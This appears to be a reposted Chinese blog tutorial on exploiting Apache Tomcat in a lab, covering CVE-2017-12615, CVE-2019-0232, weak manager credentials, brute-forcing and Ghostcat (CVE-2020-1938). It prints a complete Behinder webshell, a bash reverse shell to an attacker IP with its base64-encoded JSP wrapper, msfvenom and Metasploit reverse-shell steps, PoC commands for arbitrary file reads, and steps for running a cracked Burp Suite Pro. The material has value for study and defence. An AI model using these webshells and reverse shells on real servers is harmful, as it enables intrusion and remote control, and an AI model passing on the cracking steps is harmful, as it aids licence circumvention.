中間件安全之Tomcat滲透


一、Tomcat安裝

Windows下安裝

1)Tomcat下載

歷史版本下載地址

http://archive.apache.org/dist/tomcat/

下載exe文件

2)安裝java8

下載網站:https://www.java.com/zh-CN/download/

默認下一步

查看是否安裝成功

java -verison

3)安裝Tomcat8

下載網站:https://tomcat.apache.org/download-80.cgi

啟動安裝程序安裝即可

Linux下安裝

1)下載8.5.65版本的Tomcat

wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz

2)解壓文件

tar zxvf apache-tomcat-8.5.65.tar.gz.
mv apache-tomcat-8.5.65 tomcat

3)配置環境變量

cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat

4)重啟環境變量

source /etc/profile

5)開啟服務|關閉服務

./startup.sh

./shutdown.sh

二、Tomcat目錄結構

/bin	# 二進制文件
 - startup.bat			# 啟動Tomcat服務
 - shutdown.bat			# 停止Tomcat服務
/conf	# 配置文件
 - server.xml			# 定義了tomcat啟動時涉及的組件屬性
 - tomcat-users.xml		# 調用CGI
 - web.xml				# 定義servlet
/lib	# 存放全局的jar包

/logs	# 日志

/temp	# 臨時文件

/webapps	# 存放JAVA的Web項目
	/manager 	# 后台登陸頁面
 	/ROOT 		# 根目錄

三、Tomcat滲透

1、任意文件寫入漏洞(CVE-2017-12615)

文件上傳、getshell

影響范圍:7.0.0~7.0.81(官網),

原理:配置不當(非默認配置),將配置文件,造成PUT文件上傳

0x01 搭建復現環境

使用docker進行搭建復現環境

IP192.168.112.141

sudo docker ps
sudo docker exec -it d /bin/bash

0x02 漏洞原理

該漏洞由於配置不當,將配置文件web.xml中的readonly項設置為了false,導致可以使用PUT方法上傳任意文件,但這里限制了jsp文件,需要進行繞過上傳jsp文件

查看readonly項的值:

cat conf/web.xml | grep readonly

gCOoIe.png

至於為什么false時會可以有PUT操作,需要進一步學習

0x03 復現操作

Ⅰ. 文件上傳

1)訪問主頁面,抓包

gCOIaD.png

2)修改包文件,發送

gCOWKx.png

3)查看文件是否上傳成功

gCO2x1.png

4)測試上傳jsp文件

<%out.println("Hello");%>

gCO5VO.png

Ⅱ. 繞過上傳jsp

Linux環境:

  • PUT /xigua1.jsp%20 HTTP/1.1

空格繞過

  • PUT /xigua22.jsp:$DATA HTTP/1.1

NTFS流

  • PUT /xigua333.jsp/ HTTP/1.1

斜桿繞過

Windows環境:

無法繞過上傳jsp,因為文件名的問題

Ⅲ.上線冰蠍
一句話
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

gCOhqK.png

連接

gCOfr6.png

gCXPRs.png

2、遠程代碼執行漏洞(CVE-2019-0232)

webshell 提權

影響范圍:
9.0.0 ~ 9.0.17
8.5.0 ~ 8.5.39
7.0.0 ~ 7.0.93

0x01 環境及配置

安裝9.0.17版本,下載地址:

http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.17/bin/

1)配置相關項

  1. conf\web.xml中添加下面代碼

gCXSIg.png

<servlet>
	<servlet-name>cgi</servlet-name>
	<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
	<init-param>
		<param-name>cgiPathPrefix</param-name>
		<param-value>WEB-INF/cgi-bin</param-value>
	</init-param>
	<init-param>
		<param-name>enableCmdLineArguments</param-name>
		<param-value>true</param-value>
	</init-param>
	<init-param>
		<param-name>executable</param-name>
		<param-value></param-value>
	</init-param>
	<load-on-startup>5</load-on-startup>
</servlet>

啟動CGIServlet部分
enableCmdLineArguments 啟用后會將URL中的參數傳遞到命令行
executable 指定執行的二進制文件

  1. conf\web.xml啟動CGI的servlet-mapping

gCOxZ8.png

  1. 修改conf\context.xml,添加權限
<Context privileged="true">

  1. webapps\ROOT\WEB-INF下創建一個cgi-bin目錄,創建文件xigua.bat,內容任意

gCX9iQ.png

0x02 復現操作

輸入下面URL

http://192.168.112.142:8080/cgi-bin/xigua.bat?&dir

gCOzdS.png

0x03 原理分析

參考:
CVE-2019-0232:Apache Tomcat RCE漏洞分析 - 先知社區 (aliyun.com)
RFC 3875 - The Common Gateway Interface (CGI) Version 1.1 (ietf.org)
code white | Blog: Java and Command Line Injections in Windows

漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments 參數時,會根據RFC 3875來從Url參數中生成命令行參數,並把參數傳遞至Java的 Runtime 執行。 這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的。下面以一個簡單的case來說明這個問題,在Windows下創建arg.bat:

rem arg.bat
echo %*

並執行如下的Java代碼

String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

在Windows下會輸出 argdir 命令運行后的結果。同樣的,用類似的腳本在Linux環境下測試:

# arg.sh
for key in "$@"
do
    echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

此時的輸出為

$@ arg
$@ &
$@ dir

導致這種輸出的原因是在JDK的實現中 Runtime.getRuntime().exec 實際調用了 ProcessBuilder ,而后 ProcessBuilder 調用 ProcessImpl使用系統調用 vfork ,把所有參數直接傳遞至 execve

strace -F -e vfork,execve java Main 跟蹤可以看到上面的Java代碼在Linux中調用為

execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])

而如果跟蹤類似的PHP代碼 system('a.sh arg & dir'); ,得到的結果為

execve("/bin/sh",  ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])

所以Java的 Runtime.getRuntime().exec 在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess ,會將參數合並成字符串,作為 lpComandLine 傳入 CreateProcess 。程序啟動后調用 GetCommandLine 獲取參數,並調用 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe , 故最后會變成 cmd.exe /c "arg.bat & dir",而Java的調用過程並沒有做任何的轉義,所以在Windows下會存在漏洞。

除此之外,Windows在處理參數方面還有一個特性,如果這里只加上簡單的轉義還是可能被繞過, 例如 dir "\"&whoami" 在Linux中是安全的,而在Windows會執行命令。

這是因為Windows在處理命令行參數時,會將 " 中的內容拷貝為下一個參數,直到命令行結束或者遇到下一個 " ,但是對 \" 的處理有誤。同樣用 arg.bat 做測試,可以發現這里只輸出了 \ 。因此在Java中調用批處理或者cmd文件時,需要做合適的參數檢查才能避免漏洞出現。

0x04 修復建議

關閉enableCmdLineArguments參數

3、弱口令&后台getshel漏洞

后台文件上傳、getshell

0x01 環境配置

這里使用Win7環境,IP192.168.112.142

1)在conf\tomcat-users.xml中配置用戶權限

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
 				xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 				xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 				version="1.0">
     <role rolename="manager-gui"/> <role rolename="manager-script"/>
     <role rolename="manager-jmx"/>
     <role rolename="manager-status"/>
     <role rolename="admin-gui"/>
     <role rolename="admin-script"/>
     <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

gCXQzR.png

2)開啟遠程訪問

conf\Catalina\localhost\manager.xml文件中添加如下代碼

<Context privileged="true" antiResourceLocking="false" 
 		 docBase="${catalina.home}/webapps/manager"> 
 			<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" /> 
</Context> 

3)訪問改網址,即可登陸

http://192.168.112.142:8080/manager/html

gCXMW9.png

0x02 后台操作

1)創建后門文件

gCXZZT.png

2)生成war文件

muma.jsp壓縮為zip,然后修改后綴成war

或者jar -cvf muma.war muma.jsp

3)上傳至網站

gCXELV.png

4)冰蠍連接

gCXKJJ.png

0x03 MSF-getshell

1)使用模塊

use exploit/multi/http/tomcat_mgr_upload

gCXmoF.png

2)設置相關項

set rhosts 192.168.112.142
set rport 8080
set HttpPassword tomcat
set HttpUsername tomcat

gCXedU.png

3)執行、提權

gCXui4.png

4、Tomcat Manager 爆破

賬號密碼爆破

0x01 工具安裝

1)開啟burpsuite專業版

java -jar burploader.jar

gCX4ln.png

點擊RUN

復制License,點擊NEXT

gCXhSs.png

點擊Manual activation

gCXWWj.png

得到密鑰,Next,開啟即可

gCXRYQ.png

開啟BurpSuite

java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -javaagent:BurpSuiteLoader_v2020.12.1.jar -noverify -jar burpsuite_pro_v2020.12.1.jar

gCX2Fg.png

2)下載Foxyproxy

Google搜索FoxyProxy
網址:FoxyProxy Standard – Get this Extension for 🦊 Firefox (en-US) (mozilla.org)

0x02 爆破操作

1)查看賬號密碼傳輸形式

隨便填賬號密碼,抓包查看

gCX6w8.png

gCXcTS.png

gCXyef.png

可以看到是base64加密形式

4)發送給Sniper模塊進行爆破

Ⅰ. 選擇攻擊類型|添加有效載荷

選擇攻擊類型為Sniper,選定密碼數據處,選擇添加§

gCj90K.png

Ⅱ. 設置有效載荷類型

選擇自定義迭代器

gCXjp9.png

Ⅲ. 設置有效載荷

分別在1、2、3的位置上添加上載荷(這里用於測試,隨便寫了幾個)

gCXvlR.png

gCXx61.png

gCXzOx.png

Ⅳ. 添加有效載荷的處理方式

選擇Base64編碼

gCjpm6.png

Ⅴ. 開始爆破

查看結果,發現有狀態為200的數據包,表示爆破成功

gCjCTO.png

5、AJP文件包含漏洞分析(CVE-2020-1938)

任意文件讀取、代碼執行

0x01 基本介紹

由於 Tomcat 在處理 AJP 請求時,未對請求做任何驗證, 通過設置 AJP 連接器封裝的 request 對象的屬性, 導致產生任意文件讀取漏洞和代碼執行漏洞

影響版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

HTTP協議: 連接器監聽 8080 端口,負責建立HTTP連接。在通過瀏覽器訪問 Tomcat 服務器的Web應用時,使用的就是這個連接器。  
AJP協議: 連接器監聽 8009 端口,負責和其他的HTTP服務器建立連接。Tomcat 與其他HTTP服務器集成時,就需要用到這個連接器。

0x02 環境搭建

使用Docker進行搭建,在vulhub靶場上進行復現,網址傳送門

cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d	#開啟容器
sudo docker ps	#查看容器信息
sudo docker exec -it 【ID】 /bin/bash	#進入容器內部

IP:192.168.112.141

0x03 復現操作

Ⅰ. 文件讀取漏洞

該漏洞產生的位置位於8009的AJP協議處,可以查看到/webapps下的所有信息。這里使用公開利用的腳本進行測試,讀取網站目錄下的web.xml文件

1)下載POC

下載地址:
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp協議文件讀取漏洞 (github.com)

該腳本在python2下運行,下面先使用Kali Linux進行演示,后面看情況再在Windows上演示

2)執行該腳本

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.112.141 -p 8009 -f /WEB-INF/web.xml

gCjo3d.png

Ⅱ. 文件包含漏洞

文件包含導致代碼執行,反向shell【txt文件反彈shell】,結合前面的文件上傳

該漏洞可以將任意文件解析為jsp,達到任意命令執行的效果。但需要配合文件上傳漏洞(前面有講),這里假設服務器上已存在一個shell文件

1)開啟監聽

nc -lvp 8888

gCjqDP.png

2)根據監聽信息生成payload,並處理

在線Bash Payload生成網站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

輸入如下命令,192.168.112.132為攻擊機的ip地址。

bash -i >& /dev/tcp/192.168.112.132/8888 0>&1

得到的payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

gCjfAO.png

3)構造最終的payload

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

創建xigua-RCE.txt文件,寫入上面代碼。

4)上傳payload文件

這里假設該文件已上傳至網站目錄上

sudo docker cp /home/Zer0b1t/vulnerability_emersion/xigua-RCE.txt 608768a331b1:/usr/local/tomcat/webapps/ROOT

gCj44e.png

5)執行腳本,上線

這里的腳本和文件讀取為同一個,這里只是改名了,下載地址

python2 file_include.py 192.168.112.141 -p 8009 -f xigua-RCE.txt

gCjbut.png

gCjI9H.png

Ⅲ. 文件包含漏洞結合MSF

與上一部分類似,只是在msf里操作

1)msfvenom生成木馬文件【txt】

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.112.132 LPORT=5555 R > shell.txt

2)上傳文件至/ROOT

步驟見上

3)使用jsp_shell_reverse_tcp監聽模塊

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.112.132
set lport 5555
exploit -j	#后台運行該監聽腳本

4)執行文件包含腳本file_include.py,上線

python2 file_include.py 192.168.112.141 -p 8009 -f shell.txt

gCjhND.png

執行后查看session,使用session 2輸入shell等待連接

gCjLHf.png

0x04 源碼分析

本人過菜,留下分析文章日后再來【4.26】

Tomcat Ajp協議文件包含漏洞分析 - 先知社區 (aliyun.com)

不調試源碼重現 Ghostcat 漏洞 (CVE-2020-1938) (seebug.org)

CVE-2020-1938:Tomcat AJP文件包含漏洞分析 · Ywc's blog (yinwc.github.io)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM